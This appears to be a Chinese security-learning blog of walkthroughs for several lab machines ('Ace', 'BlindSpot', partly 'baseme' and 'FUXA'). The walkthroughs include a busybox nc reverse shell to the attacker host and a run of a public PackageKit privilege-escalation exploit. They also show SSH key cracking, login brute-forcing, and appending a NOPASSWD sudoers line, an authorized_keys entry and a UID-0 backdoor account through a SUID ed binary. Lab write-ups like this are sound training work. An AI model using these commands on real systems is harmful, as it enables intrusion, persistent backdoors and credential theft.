 *. ** 
 ** ,*, 
 ** *, 
 
HMV8nnJAJAJA 
# 这个就是密码

提权

lucas@baseme:~$ sudo -l
Matching Defaults entries for lucas on baseme:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucas may run the following commands on baseme:
 (ALL) NOPASSWD: /usr/bin/base64
lucas@baseme:~$ sudo /usr/bin/base64 /root/root.txt
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICAgICAqKiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAq
ICAgICAgICAgICAqLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICwqICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICosICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICwgICAgICAgICAgICAgICAgICAgICAgICAgLCogICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgIC4sICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgKiwgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAvICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKiAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAsKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAq
LCAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgLy4gICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIC4qLiAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICoqICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICwqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAsKiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICoqICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKi4gICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICoqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgKiouICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgLCogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICoqICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgKiwgICAgICAgICAgICAgICAgICAgICAgICAgICwqICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgKiAgICAgICAgICAg
ICAgICAgICAgICAqKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAqLCAgICAgICAgICAgICAgICAuKiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAqLiAgICAgICAgICAgKiog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICoqICAgICAgLCosICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICoqICosICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKSE1WRktCUzY0Cg==
lucas@baseme:~$ sudo /usr/bin/base64 /root/root.txt | base64 -d
 . ** 
 * *. 
 ,* 
 *, 
 , ,* 
 ., *, 
 / * 
 ,* *, 
 /. .*. 
 * ** 
 ,* ,* 
 ** *. 
 ** **. 
 ,* ** 
 *, ,* 
 * ** 
 *, .* 
 *. ** 
 ** ,*, 
 ** *, 
 
HMVFKBS64

总结

操作上不算太难，主要是思路上不好转弯，我扫描了目录，完全没有想过要用base64编码去编码文件后，再通过该字典去扫描文件。

我想到下面的注释可能是密码，并且用base64编码，编码后去爆破22端口，但是完全爆破不开。我还和gpt讨论他留下的线索，真的完全没有想到上面的思路。

gobuster

通常更轻、更快，很多人拿来直接扫目录、子域名、虚拟主机
Go 写的，单二进制，装好就能跑
参数风格偏“工具型”，简洁直接
适合想快速扫一轮的人

扫描目录：

gobuster dir -u http://192.168.174.133 -w ./dir.txt

dir : 目录/文件枚举模式
-u：目标 URL
-w：字典文件

还有一些常用的参数：

-x：指定扩展名，比如 php,txt,html,bak
-t：线程数，比如 20
-k：HTTPS 自签证书时跳过校验
-s：只显示某些状态码，比如 200,204,301,302,403
-b：排除某些状态码，比如 404

root@kali:/home/warn/Desktop# gobuster dir -u http://192.168.174.133 -w ./dirs.txt
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.174.133
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ./dirs.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/aWRfcnNhCg== (Status: 200) [Size: 2537]
/cm9ib3RzLnR4dAo= (Status: 200) [Size: 25]
Progress: 4614 / 4614 (100.00%)
===============================================================
Finished
===============================================================

是真的很快。

root@kali:/home/warn/Desktop# ssh2john rsa > rsa.hash 
 
root@kali:/home/warn/Desktop# john --wordlist=./password2.txt rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
aWxvdmV5b3UK (rsa) 
1g 0:00:00:00 DONE (2026-03-27 22:38) 3.448g/s 27.58p/s 27.58c/s 27.58C/s ..Cg==
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
 
root@kali:/home/warn/Desktop# john --show rsa.hash 
rsa:aWxvdmV5b3UK

1 password hash cracked, 0 left

Ace 复盘

Sat, 30 May 2026 11:52:43 +0800

作者	难度	平台
ll104567	baby	mazesec

信息收集

╭─ ~ ───────────────────────────────────────────────────────────────── ✔  root@kali  08:18:51 
╰─ nmap 192.168.56.123 -p-
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-29 08:19 -0400
Nmap scan report for 192.168.56.123
Host is up (0.00059s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
MAC Address: 08:00:27:32:60:79 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 43.16 seconds

╭─ ~ ─────────────────────────────────────────────────────────── ✔  43s  root@kali  08:19:48 
╰─ nmap 192.168.56.123 -p 22,80,8000 -sC -sV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-29 08:20 -0400
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 08:20 (0:00:12 remaining)
Nmap scan report for 192.168.56.123
Host is up (0.0013s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Inspirational Quote
8000/tcp open ssl/http-alt?
| ssl-cert: Subject: commonName=ajenti/organizationName=moban/countryName=NA
| Not valid before: 2026-04-19T11:49:37
|_Not valid after: 2036-04-16T11:49:37
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:32:60:79 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.59 seconds

80 端口的标题：励志名言；8000 端口的需要https://访问。访问 80 端口：

一句名言加名字，记录下这个名字：jiali。dirsearch 扫描：

╭─ ~ ──────────────────────────────────────────────────────── ✔  1m 56s  root@kali  08:22:26 
╰─ dirsearch -u http://192.168.56.123/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
 from pkg_resources import DistributionNotFound, VersionConflict

 _|. _ _ _ _ _ _|_ v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/http_192.168.56.123/__26-05-29_08-28-27.txt

Target: http://192.168.56.123/

...
[08:28:29] 403 - 279B - /.httr-oauth
[08:28:31] 403 - 279B - /.php
[08:29:05] 200 - 621B - /login.php
[08:29:20] 403 - 279B - /server-status
[08:29:20] 403 - 279B - /server-status/
...

存在 login.php，访问是一个登录界面，爆破admin用户，5000.txt，没有爆破出来；换jiali用户，5000.txt爆破出密码为：qweasdzxc。

登录成功后，并没有任何跳转，猜测功能可能就是这样的吧；我们获取了一个凭证：jiali:qweasdzxc。

访问8000端口：

打开控制台可以搜索到这些信息：

版本号为：2.2.15，搜索官网发现：最新版本号是2.2.15。

最新的CVE漏洞受影响的版本小于2.2.15，所以目前我认为是没有CVE漏洞可以利用。

这里复用凭证，可以登录ajenti：

这里我是创建了一个新的 Terminal。

反向shell获取完整交互式shell

# kali
nc -lvnp 39666
# 靶机
busybox nc 192.168.56.101 39666 -e /bin/bash &
# 反向shell放到后台执行，不容易断
╭─ ~ ──────────────────────────────────────────────────────── ✔  1m 10s  root@kali  08:29:36 
╰─ nc -lvnp 39666
listening on [any] 39666 ...
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.123] 52292
id
uid=1000(jiali) gid=1000(jiali) groups=1000(jiali)
script -qc /bin/bash /dev/null
jiali@Ace:/$ ^Z
[1] + 38776 suspended nc -lvnp 39666

╭─ ~ ─────────────────────────────────────────────── TSTP ✘  2m 51s    root@kali  09:22:06 
╰─ stty raw -echo;fg
[1] + 38776 continued nc -lvnp 39666
 reset
]Rjiali@Ace:/$ export SHELL="/bin/bash"
jiali@Ace:/$ export TERM="xterm-256color"
jiali@Ace:/$ export HOME="/home/jiali"
jiali@Ace:/$ cd
jiali@Ace:~$ source .bashrc

系统内部信息收集

sudo -l：列举当前用户可以执行的sudo命令，发现并没有，检查具有suid位的文件，发现：

jiali@Ace:~$ find / -perm -u=s -type f -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 47184 Apr 6 2024 /usr/bin/mount
-rwsr-xr-x 1 root root 63568 Apr 6 2024 /usr/bin/su
-rwsr-xr-x 1 root root 34888 Apr 6 2024 /usr/bin/umount
-rwsr-xr-x 1 root root 23448 Jan 13 2022 /usr/bin/pkexec
-rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
-rwsr-xr-- 1 root messagebus 51336 Jun 6 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 481608 Dec 21 2023 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 19040 Jan 13 2022 /usr/libexec/polkit-agent-helper-1

注意到pkexec，在gtfobins搜索：

发现无法利用。

jiali@Ace:/var/tmp$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port 
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* 
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* 
tcp LISTEN 0 10 0.0.0.0:8000 0.0.0.0:* 
tcp LISTEN 0 128 *:80 *:* 
tcp LISTEN 0 128 [::]:22 [::]:*

没有隐藏的内网地址，查看进程ps auxww，没有发现任何有关提权的信息，通过./pspy64，也没有发现有关定时任务的可利用信息。

上传linpeas.sh，bash linpeas.sh 发现 CVE-2026-41651。

我发现了一个好网站：可以搜索有关CVE公开漏洞的payload；在该网站下载payload：https://github.com/baph00met/CVE-2026-41651/blob/main/cve-2026-41651-purpleteam.py。

权限提升

jiali@Ace:~$ python3 cve-2026-41651-purpleteam.py 
============================================================
 CVE-2026-41651 — PackageKit TOCTOU LPE
 Purple Team Test Case | Authorized Use Only
============================================================

[+] SUID drop directory: /var/tmp (no nosuid/noexec)
[+] Package format: DEB
[*] Building test packages...
[+] Dummy pkg: /tmp/pk-dummy-662.deb
[+] Payload pkg: /tmp/pk-payload-662.deb
[+] Payload installs SUID bash to: /var/tmp/.suid_bash

[*] Connecting to system D-Bus...
[*] Creating PackageKit transaction...
[+] Transaction ID: /22_dbbaeeab

[*] Firing TOCTOU race (SIMULATE → REAL on same transaction)...
[*] Polling for SUID at /var/tmp/.suid_bash (90s max)...

[+] Confirmed: /var/tmp/.suid_bash is SUID root (mode=0o104755)

[+] Dropping to root shell via SUID bash (-p preserves effective UID=0)
[+] --- ROOT SHELL FOLLOWS ---

.suid_bash-5.0# id
uid=1000(jiali) gid=1000(jiali) euid=0(root) groups=1000(jiali)
.suid_bash-5.0# cd /root
.suid_bash-5.0# cat root.txt
flag{root-2d80a0695beb907d6b9ae94a5b97c038}
.suid_bash-5.0# cat rootpass.txt
hDLHiKiviqDf5CU55m8D

预期方法

jiali@Ace:/var/www$ ls -al
total 16
drwxr-xr-x 3 root root 4096 Apr 19 09:49 .
drwxr-xr-x 12 root root 4096 Apr 1 2025 ..
-rw------- 1 www-data www-data 26 Apr 19 09:49 ...
drwxr-xr-x 3 www-data www-data 4096 Apr 19 09:56 html

我们可以看到在/var/www目录下存在...隐藏文件，但它是www-data权限的，利用方法：

利用蚁剑连接：

就可以获取到root的凭证了。

总结

学习韭菜叶片的一些思路：

我是真的没想到：还可以这样查看最新的漏洞，快速定位。

对于登录框的黑盒测试，我的方法还是太少了。

BlindSpot

Fri, 29 May 2026 10:20:54 +0800

作者	难度	平台
Sublarge	baby	mazesec

信息收集

╭─ ~ ─────────────────────────────────────────────────────────────────── ✔  root@kali  04:33:58 
╰─ nmap 192.168.56.122
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-28 04:35 -0400
Nmap scan report for 192.168.56.122
Host is up (0.0018s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:DD:F7:2F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds

╭─ ~ ─────────────────────────────────────────────────────────────────── ✔  root@kali  04:35:49 
╰─ nmap 192.168.56.122 -p22,80 -sC -sV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-28 04:35 -0400
Nmap scan report for 192.168.56.122
Host is up (0.0014s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.3 (protocol 2.0)
80/tcp open http Werkzeug httpd 3.1.8 (Python 3.14.3)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: Werkzeug/3.1.8 Python/3.14.3
MAC Address: 08:00:27:DD:F7:2F (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

访问页面发现：

╭─ ~ ────────────────────────────────────────────────────────────── ✔  8s  root@kali  04:36:07 
╰─ curl -i http://192.168.56.122
HTTP/1.1 200 OK
Server: Werkzeug/3.1.8 Python/3.14.3
Date: Thu, 28 May 2026 08:53:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 616
Connection: close

Flag is not here‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

可以看到后面存在内容。

╭─ /tmp/123 ──────────────────────────────────────────────────────────── ✔  root@kali  04:59:24 
╰─ curl http://192.168.56.122 > flag.txt

╭─ /tmp/123 ──────────────────────────────────────────────────────── INT ✘  root@kali  05:00:16 
╰─ cat -A flag.txt
Flag is not hereM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^MM-bM-^@M-^KM-bM-^@M-^M#

猜测是零宽字节隐写，零宽字符隐写的原理就是：把数据转换为二进制数据，'\u200b'取代二进制里的 0，'\u200d'取代二进制里面的1，下面是脚本：

ZERO = '\u200b'
ONE = '\u200d'

def decode(text):
 binary = ''
 for ch in text:
 if ch == ZERO:
 binary += '0'
 elif ch == ONE:
 binary += '1'

 charslist = []

 for i in range(0, len(binary), 8):
 byte = int(binary[i:i+8], 2)
 charslist.append(chr(byte))

 return ''.join(charslist)

if __name__ == '__main__':
 with open('flag.txt', 'r') as f:
 text1 = f.read()
 print(decode(text1))

# 运行结果： 
╭─ /tmp/123 ─────────────────────────────────────────────────────── ✔  5s  root@kali  05:38:39 
╰─ python zeroone.py 
flag{1nv151b13:invisible}

得到了 ssh 凭证：1nv151b13:invisible

SSH 初始访问

╭─ /tmp/123 ──────────────────────────────────────────────────────────── ✔  root@kali  06:25:58 
╰─ ssh 1nv151b13@192.168.56.122 -p 22
The authenticity of host '192.168.56.122 (192.168.56.122)' can't be established.
ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtxINmLI+JvbwgV/iCsWY
This host key is known by the following other names/addresses:
 ~/.ssh/known_hosts:14: [hashed name]
 ~/.ssh/known_hosts:23: [hashed name]
 ~/.ssh/known_hosts:24: [hashed name]
 ~/.ssh/known_hosts:26: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.122' (ED25519) to the list of known hosts.
1nv151b13@192.168.56.122's password: 
 _ 
__ _____| | ___ ___ _ __ ___ ___ 
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V V / __/ | (_| (_) | | | | | | __/
 \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

1nv151b13@BlindSpot:~$ ls -al
total 12
drwxr-sr-x 2 1nv151b13 1nv151b13 4096 May 17 22:33 .
drwxr-xr-x 3 root root 4096 May 17 22:12 ..
-rw-r--r-- 1 root 1nv151b13 44 May 17 22:33 user.txt
1nv151b13@BlindSpot:~$ cat user.txt
flag{user-1f1ae47bd96611161d31fc093e6100ac}

系统内部信息收集

1nv151b13@BlindSpot:~$ find / -perm -4000 -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 30768 May 16 00:20 /bin/umount
---s--x--x 1 root root 14224 Jan 10 23:38 /bin/bbsuid
-rwsr-xr-x 1 root root 38960 May 16 00:20 /bin/mount
-rwsr-xr-x 1 root root 51504 May 17 22:22 /usr/bin/ 
-rwsr-xr-x 1 root root 26824 Apr 10 03:19 /usr/bin/expiry
-rwsr-xr-x 1 root root 48464 Apr 10 03:19 /usr/bin/chsh
-rwsr-xr-x 1 root root 80552 Apr 10 03:19 /usr/bin/chage
-rwsr-xr-x 1 root root 88968 Apr 10 03:19 /usr/bin/passwd
-rwsr-xr-x 1 root root 67680 Apr 10 03:19 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 199632 Jan 23 13:06 /usr/bin/sudo
-rwsr-xr-x 1 root root 50032 Apr 10 03:19 /usr/bin/chfn

看到一个可疑文件：/usr/bin/ 。

1nv151b13@BlindSpot:~$ strings '/usr/bin/ '
# 发现了一些内容：
Shell access restricted
Directory access restricted
Newline character not allowed in file names
Control characters not allowed in file names
Memory exhausted.
GNU ed is a line-oriented text editor. It is used to create, display,
modify and otherwise manipulate text files, both interactively and via

/usr/bin/ 看起来像是 ed 二进制文件。

1nv151b13@BlindSpot:~$ md5sum "/usr/bin/ " "/bin/ed"
380269341cc778c4b3b80ddcefba7ef7 /usr/bin/ 
380269341cc778c4b3b80ddcefba7ef7 /bin/ed

验证两个文件是否内容相同，利用hash值验证，还可以使用sha1sum sha256sum。

ed的shell提权无法使用，会降级。

权限提升

ed 有写入的能力，可以修改/etc/passwd 、/etc/shadow、/root/.ssh/authorized_keys，获取root权限：

方法一：

1nv151b13@BlindSpot:~$ '/usr/bin/ ' /etc/sudoers
5053
a
1nv151b13 ALL=(ALL:ALL) NOPASSWD: ALL
.
w
5081
q
1nv151b13@BlindSpot:~$ sudo su
root@BlindSpot:/home/1nv151b13#

方法二：

1nv151b13@BlindSpot:~/.ssh$ '/usr/bin/ ' /root/.ssh/authorized_keys
81
a
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali
.
w
172
q

╭─ ~/.ssh ────────────────────────────────────────────────────────────── ✔  root@kali  06:53:39 
╰─ ssh root@192.168.56.122 -p 22
 _ 
__ _____| | ___ ___ _ __ ___ ___ 
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V V / __/ | (_| (_) | | | | | | __/
 \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

root@BlindSpot:~#

方法三：

1nv151b13@BlindSpot:~/.ssh$ '/usr/bin/ ' /etc/shadow
645
a
backdoor:$6$xqxSEc.pyQksUhEa$IfVc1QV92zzeBy3etMOMpuN2zW5nPPH5FYksFhIa/LisPbWVQ8Q/ErXOULi7M2vEPz2Gku8aC9AcLrK5ou5C1.:20590:0:99999:7:::
.
w
780
q
1nv151b13@BlindSpot:~/.ssh$ '/usr/bin/ ' /etc/passwd
846
a
backdoor:x:0:0:root:/root:/bin/bash
.
w
886
q
C:\Users\325[hidden]>ssh backdoor@192.168.56.122 -p 22
backdoor@192.168.56.122's password:
 _
__ _____| | ___ ___ _ __ ___ ___
\ \ /\ / / _ \ |/ __/ _ \| '_ ` _ \ / _ \
 \ V V / __/ | (_| (_) | | | | | | __/
 \_/\_/ \___|_|\___\___/|_| |_| |_|\___|

root@BlindSpot:~#

总结

靶机反应出我的问题：

sudo : 只停留在sudo -l
suid : 会搜索，但是无法准确找出有问题的 suid 二进制文件

问题已解决

FUXA 复盘

Tue, 26 May 2026 19:34:26 +0800

作者	难度	平台
hel2zy	medium(根据自己的情况定的)	mazesec

信息收集

╭─ /tmp/123 ───────────────────────────────────────── ✔  root@kali  03:39:07 
╰─ nmap 192.168.56.120 -p-
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-25 03:39 -0400
Nmap scan report for 192.168.56.120
Host is up (0.00092s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1881/tcp open ibm-mqseries2
MAC Address: 08:00:27:0B:B4:16 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 43.75 seconds
╭─ /tmp/123 ─────────────────────────────────── ✔  44s  root@kali  03:39:56 
╰─ nmap 192.168.56.120 -p22,80,1881 -sC -sV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-25 03:43 -0400
Nmap scan report for 192.168.56.120
Host is up (0.0072s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.66 ((Debian))
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: FUXA
1881/tcp open http Node.js Express framework
|_http-title: FUXA
MAC Address: 08:00:27:0B:B4:16 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.83 seconds

对于80 1881 端口进行访问，发现内容是一样的。

对该网站捣鼓了一会后，猜测该网站应该是某种框架，搜索FUXA：

搜索到的第一个内容就在GitHub上，进去查看了一下其中的内容，猜测FUXA是开源的的，源码内容可能就在Github上。

我们可以在Security and quality查看最近的安全报告：

我们要缩小查找范围，必须确定 FUXA 的版本，FUXA的版本信息：在main.*.js或package.json文件中可以看到，但package.json必须有权限才能看，所以这里只能从前端看：

从控制台可以看到，FUXA的版本信息为：1.2.8-2638，我们只需要搜索影响1.2.8的CVE公开漏洞。

